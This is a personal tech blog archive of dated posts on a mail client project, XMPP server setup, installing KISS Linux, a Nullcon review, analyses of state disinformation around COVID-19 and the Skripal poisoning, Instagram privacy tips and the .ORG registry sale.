I’m not sure what I intended this post to be, but I’m pretty happy with the mindspill. To conclude this already long monologue, let me clarify one little thing y’all are probably thinking, “Okay man, are you suggesting that we regress to the Dark Ages?”. No, I’m not suggesting that we regress, but rather, progress mindfully.

No, I don’t go “I use KISS btw”. I don’t bring it up unless provoked.
↩︎

Introducing mael

2020-03-29T00:00:00Z

An experimental mail client

Update: The code lives here: https://github.com/icyphox/mael

I’ve been on the lookout for a good terminal-based email client since forever, and I’ve tried almost all of them. The one I use right now sucks a little less—aerc. I have some gripes with it though, like the problem with outgoing emails not getting copied to the Sent folder, and instead erroring out with a cryptic EOF—that’s literally all it says. I’ve tried mutt, but I find it a little excessive. It feels like the weechat of email—to many features that you’ll probably never use.

I need something clean and simple, less bloated (for the lack of a better term). This is what motivated me to try writing my own. The result of this (and not to mention, being holed up at home with nothing better to do), is mael.¹

mael isn’t like your usual TUI clients. I envision this to turn out similar to mailx—a prompt-based UI. The reason behind this UX decision is simple: it’s easier for me to write. :)

Speaking of writing it, it’s being written in a mix of Python and bash. Why? Because Python’s email and mailbox modules are fantastic, and I don’t think I want to parse Maildirs in bash. “But why not pure Python?” Well, I’m going to be shelling out a lot (more on this in a bit), and writing interactive UIs in bash is a lot more intuitive, thanks to some of the nifty features that later versions of bash have—read, mapfile etc.

The reason I’m shelling out is because two key components to this client, that I haven’t yet talked about—mbsync and msmtp are in use, for IMAP and SMTP respectively. And mbsync uses the Maildir format, which is why I’m relying on Python’s mailbox package. Why is this in the standard library anyway?!

The architecture of the client is pretty interesting (and possibly very stupid), but here’s what happens:

UI and prompt stuff in bash
emails are read using less
email templates (RFC 2822) are parsed and generated in Python
this is sent to bash in STDOUT, like

msg="$(./mael-parser "$maildir_message_path")"

These kind of one-way (bash -> Python) calls are what drive the entire process. I’m not sure what to think of it. Perhaps I might just give up and write the entire thing in Python. Or…I might just scrap this entirely and just shut up and use aerc. I don’t know yet. The code does seem to be growing in size rapidly. It’s about ~350 LOC in two days of writing (Python + bash). New problems arise every now and then and it’s pretty hard to keep track of all of this. It’ll be cool when it’s all done though (I think).

If only things just worked.

I have yet to open source it; this post will be updated with a link to it when I do.
↩︎

COVID-19 disinformation

2020-03-15T00:00:00Z

A lot of actors cashing in on the epidemic

The virus spreads around the world, along with a bunch of disinformation and potential malware / phishing campaigns. There are many actors, pushing many narratives—some similar, some different.

Interestingly, the three big players in the information warfare space—Russia, Iran and China seem to be running similar stories on their state-backed media outlets. While they all tend to lean towards the same, fairly anti-U.S. sentiments—that is, blaming the US for weaponizing the crisis for political gain—Iran and Russia’s content come off as more…conspiratorial. In essence, they claim that the COVID-19 virus is a “bioweapon” developed by the U.S.

Russian news agency RT tweeted:

Show of hands, who isn’t going to be surprised if it ever gets revealed that #coronavirus is a bioweapon?

RT also published an article mocking the U.S. for concerns over Russian disinformation. Another article by RT, an op-ed suggests the virus’ impact on financial markets might bring about the reinvention of communism and the end of the global capitalist system. Russian state-sponsored media can also be seen amplifying Iranian conspiracy theories—including the Islamic Revolutionary Guard Corps’ (IRGC) suggestion that COVID-19 is a U.S. bioweapon.

Iranian media outlets appear to be running stories having similar themese, as well. Here’s one by PressTV, where they very boldly claim that the virus was developed by the U.S. and/or Isreal, to use as a bioweapon against Iran. Another nonsensical piece by PressTV suggests that “there are components of the virus that are related to HIV that could not have occurred naturally”. The same article pushes another theory:

There has been some speculation that as the Trump Administration has been constantly raising the issue of growing Chinese global competitiveness as a direct threat to American national security and economic dominance, it might be possible that Washington has created and unleashed the virus in a bid to bring Beijing’s growing economy and military might down a few notches. It is, to be sure, hard to believe that even the Trump White House would do something so reckless, but there are precedents for that type of behavior

These “theories”, as is evident, are getting wilder and wilder.

Unsurprisingly, China produces the most amount of content related to the coronavirus, but they’re quite distinct in comparison to Russian and Iranian media. The general theme behind Chinese narratives is critisizing the West for…a lot of things.

Global Times claims that democracy is an insufficient system to battle the coronavirus. They blame the U.S. for unfair media coverage against China, and other anti-China narratives. There are a ton other articles that play the racism/discrimination card—I wouldn’t blame them though. Here’s one.

In the case of India, most disinfo (actually, misinfo) is mostly just pseudoscientific / alternative medicine / cures in the form of WhatsApp forwards—“Eat foo! Eat bar!”.¹

I’ve also been noticing a ton of COVID-19 / coronavirus related domain registrations happening. Expect phishing and malware campaigns using the virus as a theme. In the past 24 hrs, ~450 .com domains alone were registered.

Anywho, there are bigger problems at hand—like the fact that my uni still hasn’t suspended classes!

https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece ↩︎

Nullcon 2020

2020-03-09T00:00:00Z

An opinion-filled review of Nullcon Goa, 2020

Disclaimer: Political.

This year’s conference was at the Taj Hotel and Convention center, Dona Paula, and its associated party at Cidade de Goa, also by Taj. Great choice of venue, perhaps even better than last time. The food was fine, the views were better.

With those things out of the way—let’s talk talks. I think I preferred the panels to the talks—I enjoy a good, stimulating discussion as opposed to only half-understanding a deeply technical talk—but that’s just me. But there was this one talk that I really enjoyed, perhaps due to its unintended comedic value; I’ll get into that later.

The list of panels/talks I attended in order:

Day 1

Keynote: The Metadata Trap by Micah Lee (Talk)
Securing the Human Factor (Panel)
Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)
Lessons from the Cyber Trenches (Panel)
Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)
Taking the guess out of Glitching by Adam Laurie (Talk)
Keynote: Cybersecurity in India—Information Assymetry, Cross Border Threats and National Sovereignty by Saumil Shah (Talk)

Day 2

Keynote: Crouching hacker, killer robot? Removing fear from cyber-physical security by Stefano Zanero (Talk)
Supply Chain Security in Critical Infrastructure Systems (Panel)
Putting it all together: building an iOS jailbreak from scratch by Umang Raghuvanshi (Talk)
Hack the Law: Protection for Ethical Cyber Security Research in India (Panel)

Re: Closing keynote

I wish I could link the talk, but it hasn’t been uploaded just yet. I’ll do it once it has. So, I’ve a few comments I’d like to make on some of Saumil’s statements.

He proposed that the security industry trust the user more, and let them make the decisions pertaining to personal security / privacy. Except…that’s just not going to happen. If all users were capable of making good, security-first choices—we as an industry don’t need to exist. But that is unfortunately not the case. Users are dumb. They value convenience and immediacy over security. That’s the sad truth of the modern age.

Another thing he proposed was that the Indian Government build our own “Military Grade” and “Consumer Grade” encryption.

…what?

A “security professional” suggesting that we roll our own crypto? What even. Oh and, to top it off—when Raman, very rightly countered saying that the biggest opponent to encryption is the Government, and trusting them to build safe cryptosystems is probably not wise, he responded by saying something to the effect of “Eh, who cares? If they want to backdoor it, let them.”

Bruh moment.

He also had some interesting things to say about countering disinformation. He said, and I quote “Join the STFU University”.

¿wat? Is that your best solution?

Judging by his profile, and certain other things he said in the talk, it is safe to conclude that his ideals are fairly…nationalistic. I’m not one to police political opinions, I couldn’t care less which way you lean, but the statements made in the talk were straight up incorrect.

Closing thoughts

This came out more rant-like than I’d intended. It is also the first blog post where I dip my toes into politics. I’ve some thoughts on more controversial topics for my next entry. That’ll be fun, especially when my follower count starts dropping. LULW.

Saumil, if you ever end up reading this, note that this is not a personal attack. I think you’re a cool guy.

Note to the Nullcon organizers: you guys did a fantastic job running the conference despite Corona-chan’s best efforts. I’d like to suggest one little thing though—please VET YOUR SPEAKERS more!

Setting up Prosody for XMPP

2020-02-18T00:00:00Z

I setup Prosody yesterday—here's how I did it

Remember the IRC for DMs article I wrote a while back? Well…it’s safe to say that IRC didn’t hold up too well. It first started with the bot. Buggy code, crashed a lot—we eventually gave up and didn’t bring the bot back up. Then came the notifications, or lack thereof. Revolution IRC has a bug where your custom notification rules just get ignored after a while. In my case, this meant that notifications for #crimson stopped entirely. Unless, of course, Nerdy pinged me each time.

Again, none of these problems are inherent to IRC itself. IRC is fantastic, but perhaps wasn’t the best fit for our usecase. I still do use IRC though, just not for 1-on-1 conversations.

Why XMPP?

For one, it’s better suited for 1-on-1 conversations. It also has support for end-to-end encryption (via OMEMO), something IRC doesn’t have.¹ Also, it isn’t centralized (think: email).

So…Prosody

Prosody is an XMPP server. Why did I choose this over ejabberd, OpenFire, etc.? No reason, really. Their website looked cool, I guess.

Installing

Setting it up was pretty painless (I’ve experienced worse). If you’re on a Debian-derived system, add:

# modify according to your distro
deb https://packages.prosody.im/debian buster main

to your /etc/apt/sources.list, and:

# apt update
# apt install prosody

Configuring

Once installed, you will find the config file at /etc/prosody/prosody.cfg.lua. Add your XMPP user (we will make this later), to the admins = {} line.

admins = {"user@chat.example.com"}

Head to the modules_enabled section, and add this to it:

modules_enabled = {
    "posix";
    "omemo_all_access";
...
    -- uncomment these
    "groups";
    "mam";
    -- and any others you think you may need
}

We will install the omemo_all_access module later.

Set c2s_require_encryption, s2s_require_encryption, and s2s_secure_auth to true. Set the pidfile to /tmp/prosody.pid (or just leave it as default?).

By default, Prosody stores passwords in plain-text, so fix that by setting authentication to "internal_hashed"

Head to the VirtualHost section, and add your vhost. Right above it, set the path to the HTTPS certificate and key:

certificates = "certs"    -- relative to your config file location
https_certificate = "certs/chat.example.com.crt"
https_key = "certs/chat.example.com.key"
...

VirtualHost "chat.example.com"

I generated these certs using Let’s Encrypt’s certbot, you can use whatever. Here’s what I did:

# certbot --nginx -d chat.example.com

This generates certs at /etc/letsencrypt/live/chat.example.com/. You can trivially import these certs into Prosody’s /etc/prosody/certs/ directory using:

# prosodyctl cert import /etc/letsencrypt/live/chat.example.com

Plugins

All the modules for Prosody can be hg clone’d from https://hg.prosody.im/prosody-modules. You will, obviously, need Mercurial installed for this.

Clone it somewhere, and:

# cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules

Do the same thing for whatever other module you choose to install. Don’t forget to add it to the modules_enabled section in the config.

Adding users

prosodyctl makes this a fairly simple task:

$ prosodyctl adduser user@chat.example.com

You will be prompted for a password. You can optionally, enable user registrations from XMPP/Jabber clients (security risk!), by setting allow_registration = true.

I may have missed something important, so here’s my config for reference.

Closing notes

That’s pretty much all you need for 1-on-1 E2EE chats. I don’t know much about group chats just yet—trying to create a group in Conversations gives a “No group chat server found”. I will figure it out later.

Another thing that doesn’t work in Conversations is adding an account using an SRV record.² Which kinda sucks, because having a chat. subdomain isn’t very clean, but whatever.

Oh, also—you can message me at icy@chat.icyphox.sh.

I’m told IRC supports OTR, but I haven’t ever tried. ↩︎
https://prosody.im/doc/dns ↩︎

Status update

2020-01-18T00:00:00Z

New year…new stuff?

It’s only been a two weeks since I got back to campus, and we’ve already got our first round of cycle tests starting this Tuesday. Granted, I returned a week late, but…that’s nuts!

We’re two whole weeks into 2020; I should’ve been working on something status update worthy, right? Not really, but we’ll see.

No more Cloudflare!

Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare SSL and their DNS. I have since migrated off it to he.net, thanks to highly upvoted Lobste.rs comment. Because of this switch, I infact, learnt a ton about DNS.

Migrating to HE was very painless, but I did have to research a lot about PTR records—Cloudflare kinda dumbs it down. In my case, I had to rename my DigitalOcean VPS instance to the FQDN, which then automagically created a PTR record at DO’s end.

I dropped icyrc

The IRC client I was working on during the end of last December--early-January? Yeah, I lost interest. Apparently writing C and ncurses isn’t very fun or stimulating.

This also means I’m back on weechat. Until I find another client that plays well with ZNC, that is.

KISS stuff

I now maintain two new packages in the KISS community repository—2bwm and aerc! The KISS package system is stupid simple to work with. Creating packages has never been easier.

icyphox.sh/friends

Did you notice that yet? I’ve been curating a list of people I know IRL and online, and linking to their online presence. This is like a webring of sorts, and promotes inter-site traffic—making the web more “web” again.

If you know me, feel free to hit me up and I’ll link your site too! My apologies if I’ve forgotten your name.

Patreon!

Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d cash in on the newfound traffic my site’s been getting. There won’t be any exclusive content or any tiers or whatever. Nothing will change. Just a place for y’all to toss me some $$$ if you wish to do so. ;)

Oh, and it’s at patreon.com/icyphox.

Misc.

The Stormlight Archive is likely the best epic I have ever read till date. I’m still not done yet; about 500 odd pages to go as of this writing. But wow, Brandon really does know how to build worlds and magic systems. I cannot wait to read all about the cosmere.

I have also been working out for the past month or so. I can see them gainzzz. I plan to keep track of my progress, I just don’t know how to quantify it. Perhaps I’ll log the number of reps × sets I do each time, and with what weights. I can then look back to see if either the weights have increased since, or the number of reps × sets have. If you know of a better way to quantify progress, let me know! I’m pretty new to this.

Vimb: my Firefox replacement

2020-01-16T00:00:00Z

Web browsing, suckless style

After having recently installed KISS, and building Firefox from source, I was exposed to the true monstrosity that Firefox—and web browsers in general—is. It took all of 9 hours to build the dependencies and then Firefox itself.

Sure, KISS now ships Firefox binaries in the firefox-bin package; I decided to get rid of that slow mess anyway.

Enter vimb

vimb is a browser based on webkit2gtk, with a Vim-like interface. webkit2gtk builds in less than a minute—it blows Firefox out of the water, on that front.

There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl (Firefox plugins), vimb should look familiar to you. It can be configured via a config.h or a text based config file at ~/.config/vimb/config. Each “tab” opens a new instance of vimb, in a new window but this can get messy really fast if you have a lot of tabs open.

Enter tabbed

tabbed is a tool to embed X apps which support xembed into a tabbed UI. This can be used in conjunction with vimb, like so:

tabbed vimb -e

Where the -e flag is populated with the XID, by tabbed. Configuring Firefox-esque keybinds in tabbed’s config.h is relatively easy. Once that’s done—voilà! A fairly sane, Vim-like browsing experience that’s faster and has a smaller footprint than Firefox.

Ad blocking

Ad blocking support isn’t built-in and there is no plugin system available. There are two options for ad blocking:

wyebadblock
/etc/hosts

Caveats

Some websites tend to not work because they detect vimb as an older version of Safari (same web engine). This is a minor inconvenience, and not a dealbreaker for me. I also cannot login to Google’s services for some reason, which is mildly annoying, but it’s good in a way—I am now further incentivised to dispose of my Google account.

And here’s the screenshot y’all were waiting for:

Five days in a TTY

2020-01-13T00:00:00Z

I installed KISS Linux

This new semester has been pretty easy on me, so far. I hardly every have any classes (again, so far), and I’ve a ton of free time on my hands. This calls for—yep—a distro hop!

Why KISS?

KISS has been making rounds on the interwebz lately.¹ The Hacker News post spurred quite the discussion. But then again, that is to be expected from Valleybros who use macOS all day. :^)

From the website,

An independent Linux® distribution with a focus on simplicity and the concept of “less is more”. The distribution targets only the x86–64 architecture and the English language.

Like many people did in the HN thread, “simplicity” here is not to be confused with “ease”. It is instead, simplicity in terms of lesser and cleaner code—no Poetterware.

This, I can get behind. A clean system with less code is like a clean table. It’s nice to work on. It also implies security to a certain extent since there’s a smaller attack surface.

The kiss package manager is written is pure POSIX sh, and does just enough. Packages are compiled from source and kiss automatically performs dependency resolution. Creating packages is ridiculously easy too.

Speaking of packages, all packages—both official & community repos—are run through shellcheck before getting merged. This is awesome; I don’t think this is done in any other distro.

In essence, KISS sucks less.

Installing KISS

The install guide is very easy to follow. Clear instructions that make it hard to screw up; that didn’t stop me from doing so, however.

Day 1

Although technically not in a TTY, it was still not in the KISS system—I’ll count it. I’d compiled the kernel in the chroot and decided to use efibootmgr instead of GRUB. efibootmgr is a neat tool to modify the Intel Extensible Firmware Interface (EFI). Essentially, you boot the .efi directly as opposed to choosing which boot entry you want to boot, through GRUB. Useful if you have just one OS on the system. Removes one layer of abstraction.

Adding a new EFI entry is pretty easy. For me, the command was:

efibootmgr --create 
           --disk /dev/nvme0n1 \
           --part 1 \
           --label KISS Linux \
           --loader /vmlinuz
           --unicode 'root=/dev/nvme0n1p3 rw'  # kernel parameters

Mind you, this didn’t work the first time, or the second, or the third … a bunch of trial and error (and asking on #kisslinux) later, it worked.

Well, it booted, but not into KISS. Took a while to figure out that the culprit was CONFIG_BLK_DEV_NVME not having been set in the kernel config. Rebuild & reboot later, I was in.

Day 2

Networking! How fun. An ip a and I see that both USB tethering (ethernet) and wireless don’t work. Great. Dug around a bit—missing wireless drivers was the problem. Found my driver, a binary .ucode from Intel (eugh!). The whole day was spent in figuring out why the kernel would never load the firmware. I tried different variations—loading it as a module (=m), baking it in (=y) but no luck.

Day 3

I then tried Alpine’s kernel config but that was so huge and had a ton of modules and took far too long to build each time, much to my annoyance. Diffing their config and mine was about ~3000 lines! Too much to sift through. On a whim, I decided to scrap my entire KISS install and start afresh.

For some odd reason, after doing the exact same things I’d done earlier, my wireless worked this time. Ethernet didn’t, and still doesn’t, but that’s ok.

Building xorg-server was next, which took about an hour, mostly thanks to spotty internet. The build went through fine, though what wasn’t was no input after starting X. Adding my user to the input group wasn’t enough. The culprit this time was a missing xf86-xorg-input package. Installing that gave me my mouse back, but not the keyboard!

It was definitely not the kernel this time, because I had a working keyboard in the TTY.

Day 4 & Day 5

This was probably the most annoying of all, since the fix was trivial. By this point I had exhausted all ideas, so I decided to build my essential packages and setup my system. Building Firefox took nearly 9 hours, the other stuff were much faster.

I was still chatting on IRC during this, trying to zero down on what the problem could be. And then:

<dylanaraps> For starters I think st fails due to no fonts.

Holy shit! Fonts. I hadn’t installed any fonts. Which is why none of the applications I tried launching via sowm ever launched, and hence, I was lead to believe my keyboard was dead.

Worth it?

Absolutely. I cannot stress on how much of a learning experience this was. Also a test of my patience and perseverance, but yeah ok. I also think that this distro is my endgame (yeah, right), probably because other distros will be nothing short of disappointing, in one way or another.

Huge thanks to the folks at #kisslinux on Freenode for helping me throughout. And I mean, they really did. We chatted for hours on end trying to debug my issues.

I’ll now conclude with an obligatory screenshot.

https://news.ycombinator.com/item?id=21021396 ↩︎

2019 in review

2020-01-02T00:00:00Z

A look back at last year

Just landed in a rainy Chennai, back in campus for my 6th semester. A little late to the “year in review blog post” party; travel took up most of my time. Last year was pretty eventful (at least in my books), and I think I did a bunch of cool stuff—let’s see!

Interning at SecureLayer7

Last summer, I interned at SecureLayer7, a security consulting firm in Pune, India. My work was mostly in hardware and embededded security research. I learnt a ton about ARM and MIPS reversing and exploitation, UART and JTAG, firmware RE and enterprise IoT security.

I also earned my first CVE! I’ve written about it in detail here.

Conferences

I attended two major conferences last year—Nullcon Goa and PyCon India. Both super fun experiences and I met a ton of cool people! Nullcon Twitter thread and PyCon blog post.

Talks

I gave two talks last year:

Intro to Reverse Engineering at Cyware 2019
“Smart lock? Nah dude.” at PyCon India

Things I made

Not in order, because I CBA:

repl: More of a quick bash hack, I don’t really use it.
pw: A password manager. This, I actually do use. I’ve even written a tiny dmenu wrapper for it.
twsh: An incomplete twtxt client, in bash. I have yet to get around to finishing it.
alpine ports: My APKBUILDs for Alpine.
detotated: An IRC bot written in Python. See IRC for DMs.
icyrc: A no bullshit IRC client, because WeeChat is bloat.

I probably missed something, but whatever.

Blog posts

$ ls -1 pages/blog/*.md | wc -l
20

So excluding today’s post, and _index.md, that’s 18 posts! I had initially planned to write one post a month, but hey, this is great. My plan for 2020 is to write one post a week—unrealistic, I know, but I will try nevertheless.

I wrote about a bunch of things, ranging from programming to return-oriented-programming (heh), sysadmin and security stuff, and a hint of culture and philosophy. Nice!

The Python for Reverse Engineering post got a ton of attention on the interwebz, so that was cool.

Bye 2019

2019 was super productive! (in my terms). I learnt a lot of new things last year, and I can only hope to learn as much in 2020. :)

I’ll see you next week.

Disinfo war: RU vs GB

2019-12-12T00:00:00Z

A look at Russian info ops against Britain

This entire sequence of events begins with the attempted poisoning of Sergei Skripal¹, an ex-GRU officer who was a double-agent for the UK’s intelligence services. This hit attempt happened on the 4th of March, 2018. 8 days later, then-Prime Minister Theresa May formally accused Russia for the attack.

The toxin used in the poisoning was a nerve agent called Novichok. In addition to the British military-research facility at Porton Down, a small number of labs around the world were tasked with confirming Porton Down’s conclusions on the toxin that was used, by the OPCW (Organisation for the Prohibition of Chemical Weapons).

With the background on the matter out of the way, here are the different instances of well timed disinformation pushed out by Moscow.

The Russian offense

April 14, 2018

RT published an article claiming that Spiez had identified a different toxin—BZ, and not Novichok.
This was an attempt to shift the blame from Russia (origin of Novichok), to NATO countries, where it was apparently in use.
Most viral piece on the matter in all of 2018.

Although technically correct, this isn’t the entire truth. As part of protocol, the OPCW added a new substance to the sample as a test. If any of the labs failed to identify this substance, their findings were deemed untrustworthy. This toxin was a derivative of BZ.

Here are a few interesting things to note:

The entire process starting with the OPCW and the labs is top-secret. How did Russia even know Speiz was one of the labs?
On April 11th, the OPCW mentioned BZ in a report confirming Porton Down’s findings. Note that Russia is a part of OPCW, and are fully aware of the quality control measures in place. Surely they knew about the reason for BZ’s use?

Regardless, the Russian version of the story spread fast. They cashed in on two major factors to plant this disinfo:

“NATO bad” : Overused, but surprisingly works. People love a story that goes full 180°.
Spiez can’t defend itself: At the risk of revealing that it was one of the facilities testing the toxin, Spiez was only able to “not comment”.

April 3, 2018

The Independent publishes a story based on an interview with the chief executive of Porton Down, Gary Aitkenhead.
Aitkenhead says they’ve identified Novichok but “have not identified the precise source”.
Days earlier, Boris Johnson (then-Foreign Secretary) claimed that Porton Down confirmed the origin of the toxin to be Russia.
This discrepancy was immediately promoted by Moscow, and its network all over.

This one is especially interesting because of how simple it is to exploit a small contradiction, that could’ve been an honest mistake. This episode is also interesting because the British actually attempted damage control this time. Porton Down tried to clarify Aitkenhead’s statement via a tweet²:

Our experts have precisely identified the nerve agent as a Novichok. It is not, and has never been, our responsibility to confirm the source of the agent @skynews @UKmoments

Quoting the Defense One article on the matter:

The episode is seen by those inside Britain’s security communications team as the most serious misstep of the crisis, which for a period caused real concern. U.K. officials told me that, in hindsight, Aikenhead could never have blamed Russia directly, because that was not his job—all he was qualified to do was identify the chemical. Johnson, in going too far, was more damaging. Two years on, he is now prime minister.

May 2018

OPCW facilities receive an email from Spiez inviting them to a conference.
The conference itself is real, and has been organized before.
The email however, was not—attached was a Word document containing malware.
Also seen were inconsistencies in the email formatting, from what was normal.

This spearphishing campaign was never offically attributed to Moscow, but there are a lot of tells here that point to it being the work of a state actor:

Attack targetting a specific group of individuals.
Relatively high level of sophistication—email formatting, malicious Word doc, etc.

However, the British NCSC have deemed with “high confidence” that the attack was perpetrated by GRU. In the UK intelligence parlance, “highly likely” / “high confidence” usually means “definitely”.

Britain’s defense

September 5, 2018

The UK took a lot of hits in 2018, but they eventually came back:

Metropolitan Police has a meeting with the press, releasing their findings.
CCTV footage showing the two Russian hitmen was released.
Traces of Novichok identified in their hotel room.

This sudden news explosion from Britan’s side completely bulldozed the information space pertaining to the entire event. According to Defense One:

Only two of the 10 most viral stories in the weeks following the announcement were sympathetic to Russia, according to NewsWhip. Finally, officials recalled, it felt as though the U.K. was the aggressor. “This was all kept secret to put the Russians on the hop,” one told me. “Their response was all over the place from this point. It was the turning point.”

Earlier in April, 4 GRU agents were arrested in the Netherlands, who were there to execute a cyber operation against the OPCW (located in The Hague), via their WiFi networks. They were arrested by Dutch security, and later identifed as belonging to Unit 26165. They also seized a bunch of equipment from the room and their car.

The abandoned equipment revealed that the GRU unit involved had sent officers around the world to conduct similar cyberattacks. They had been in Malaysia trying to steal information about the investigation into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne, Switzerland, where a World Anti-Doping Agency (WADA) conference was taking place as Russia faced sanctions from the International Olympic Committee. Britain has said that the same GRU unit attempted to compromise Foreign Office and Porton Down computer systems after the Skripal poisoning.

October 4, 2018

UK made the arrests public, published a list of infractions commited by Russia, along with the specific GRU unit that was caught.

During this period, just one of the top 25 viral stories was from a pro-Russian outlet, RT—that too a fairly straightforward piece.

Wrapping up

As with conventional warfare, it’s hard to determine who won. Britain may have had the last blow, but Moscow—yet again—depicted their finesse in information warfare. Their ability to seize unexpected openings, gather intel to facilitate their disinformation campaigns, and their cyber capabilities makes them a formidable threat.

2020 will be fun, to say the least.

Instagram OPSEC

2019-12-02T00:00:00Z

Operational security for the average zoomer

Which I am not, of course. But seeing as most of my peers are, I am compelled to write this post. Using a social platform like Instagram automatically implies that the user understands (to some level) that their personally identifiable information is exposed publicly, and they sign up for the service understanding this risk—or I think they do, anyway. But that’s about it, they go ham after that. Sharing every nitty gritty detail of their private lives without understanding the potential risks of doing so.

The fundamentals of OPSEC dictacte that you develop a threat model, and Instgrammers are obviously incapable of doing that—so I’ll do it for them.

Your average Instagrammer’s threat model

I stress on the word “average”, as in this doesn’t apply to those with more than a couple thousand followers. Those type of accounts inherently face different kinds of threats—those that come with having a celebrity status, and are not in scope of this analysis.

State actors: This doesn’t really fit into our threat model, since our target demographic is simply not important enough. That said, there are select groups of individuals that operate on Instagram¹, and they can potentially be targetted by a state actor.

OSINT: This is probably the biggest threat vector, simply because of the amount of visual information shared on the platform. A lot can be gleaned from one simple picture in a nondescript alleyway. We’ll get into this in the DOs and DON’Ts in a bit.
Facebook & LE: Instagram is the last place you want to be doing an illegal, because well, it’s logged and more importantly—not end-to-end encrypted. Law enforcement can subpoena any and all account information. Quoting Instagram’s page on this:

a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause is required to compel the disclosure of the stored contents of any account, which may include messages, photos, comments, and location information.

That out of the way, here’s a list of DOs and DON’Ts to keep in mind while posting on Instagram.

DON’Ts

Use Instagram for planning and orchestrating illegal shit! I’ve explained why this is a terrible idea above. Use secure comms—even WhatsApp is a better choice, if you have nothing else. In fact, try avoiding IG DMs altogether, use alternatives that implement E2EE.
Film live videos outside. Or try not to, if you can. You might unknowingly include information about your location: street signs, shops etc. These can be used to ascertain your current location.
Film live videos in places you visit often. This compromises your security at places you’re bound to be at.
Share your flight ticket in your story! I can’t stress this enough!!! Summer/winter break? “Look guys, I’m going home! Here’s where I live, and here’s my flight number—feel free to track me!”. This scenario is especially worrisome because the start and end points are known to the threat actor, and your arrival time can be trivially looked up—thanks to the flight number on your ticket. So, just don’t.
Post screenshots with OS specific details. This might border on pendantic, but better safe than sorry. Your phone’s statusbar and navbar are better cropped out of pictures. They reveal the time, notifications (apps that you use), and can be used to identify your phone’s operating system. Besides, the status/nav bar isn’t very useful to your screenshot anyway.
Share your voice. In general, reduce your footprint on the platform that can be used to identify you elsewhere.
Think you’re safe if your account is set to private. It doesn’t take much to get someone who follows you, to show show your profile on their device.

DOs

Post pictures that pertain to a specific location, once you’ve moved out of the location. Also applies to stories. It can wait.
Post pictures that have been shot indoors. Or try to; reasons above. Who woulda thunk I’d advocate bathroom selfies?
Delete old posts that are irrelevant to your current audience. Your friends at work don’t need to know about where you went to high school.

More DON’Ts than DOs, that’s very telling. Here are a few more points that are good OPSEC practices in general:

Think before you share. Does it conform to the rules mentioned above?
Compartmentalize. Separate as much as you can from what you share online, from what you do IRL. Limit information exposure.
Assess your risks: Do this often. People change, your environments change, and consequentially the risks do too.

Fin

Instagram is—much to my dismay—far too popular for it to die any time soon. There are plenty of good reasons to stop using the platform altogether (hint: Facebook), but that’s a discussion for another day.

Or be like me:

And that pretty much wraps it up, with a neat little bow.

https://darknetdiaries.com/episode/51/—Jack talks about Indian hackers who operate on Instagram. ↩︎

Save .ORG!

2019-11-23T00:00:00Z

PIR is getting sold to a private firm, and here's why it's bad

The .ORG top-level domain introduced in 1985, has been operated by the Public Interest Registry since 2003.

The .ORG TLD is used primarily by communities, free and open source projects, and other non-profit organizations—although the use of the TLD isn’t restricted to non-profits.

The Internet Society or ISOC, the group that created the PIR, has decided to sell the registry over to a private equity firm—Ethos Capital.

What’s the problem?

There are around 10 million .ORG TLDs registered, and a good portion of them are non-profits and non-governmental organizations. As the name suggests, they don’t earn any profits and all their operations rely on a thin inflow of donations. A private firm having control of the .ORG domain gives them the power to make decisions that would be unfavourable to the .ORG community:

They control the registration/renewal fees of the TLD. They can hike the price if they wish to. As is stands, NGOs already earn very little—a .ORG price hike would put them in a very icky situation.
They can introduce Rights Protection Mechanisms or RPMs, which are essentially legal statements that can—if not correctly developed—jeopardize / censor completely legal non-profit activities.
Lastly, they can suspend domains at the whim of state actors. It isn’t news that nation states go after NGOs, targetting them with allegations of illegal activity. The registry being a private firm only simplifies the process.

Sure, these are just “what ifs” and speculations, but the risk is real. Such power can be abused and this would be severly detrimental to NGOs globally.

How can I help?

We need to get the ISOC to stop the sale. Head over to https://savedotorg.org and sign their letter. An email is sent on your behalf to:

Andrew Sullivan, CEO, ISOC
Jon Nevett, CEO, PIR
Maarten Botterman, Board Chair, ICANN
Göran Marby, CEO, ICANN

Closing thoughts

The Internet that we all love and care for is slowly being subsumed by megacorps and private firms, who’s only motive is to make a profit. The Internet was meant to be free, and we’d better act now if we want that freedom. The future looks bleak—I hope we aren’t too late.

Status update

2019-11-16T00:00:00Z

Exams, stuff, etc.

This month is mostly just unfun stuff, lined up in a neat schedule—exams. I get all these cool ideas for things to do, and it’s always during exams. Anyway, here’s a quick update on what I’ve been up to.

Blog post queue

I realized that I could use this site’s repo’s issues to track blog post ideas. I’ve made a few, mostly just porting them over from my Google Keep note.

This method of using issues is great, because readers can chime in with ideas for things I could possibly discuss—like in this issue.

Contemplating a `vite` rewrite

vite, despite what the name suggests -- is awfully slow. Also, Python is bloat. Will rewriting it fix that? That’s what I plan to find out. I have a couple of choices of languages to use in the rewrite:

C: Fast, compiled. Except I suck at it. (cite?)
Nim: My favourite, but I’ll have to write bindings to lowdown(1). (nite?)
Shell: Another favourite, muh “minimalsm”. No downside, really. (shite?)

Oh, and did I mention—I want it to be compatible with vite. I don’t want to have to redo my site structure or its templates. At the moment, I rely on Jinja2 for templating, so I’ll need something similar.

IRC bot

My earlier post on IRC for DMs got quite a bit of traction, which was pretty cool. I didn’t really talk much about the bot itself though; I’m dedicating this section to detotated.¹

Fairly simple Python code, using plain sockets. So far, we’ve got a few basic features in place:

.np command: queries the user’s last.fm to get the currently playing track
Fetches the URL title, when a URL is sent in chat

That’s it, really. I plan to add a .nps, or “now playing Spotify” command, since we share Spotify links pretty often.

Other

I’ve been reading some more manga, I’ll update the reading log when I, well… get around to it. Haven’t had time to do much in the past few weeks—the time at the end of a semester tends to get pretty tight. Here’s what I plan to get back to during this winter break:

Russian!
Window manager in Nim
vite rewrite, probably
The other blog posts in queue

I’ve also put off doing any “security work” for a while now, perhaps that’ll change this December. Or whenever.

With that ends my status update, on all things that I haven’t done.

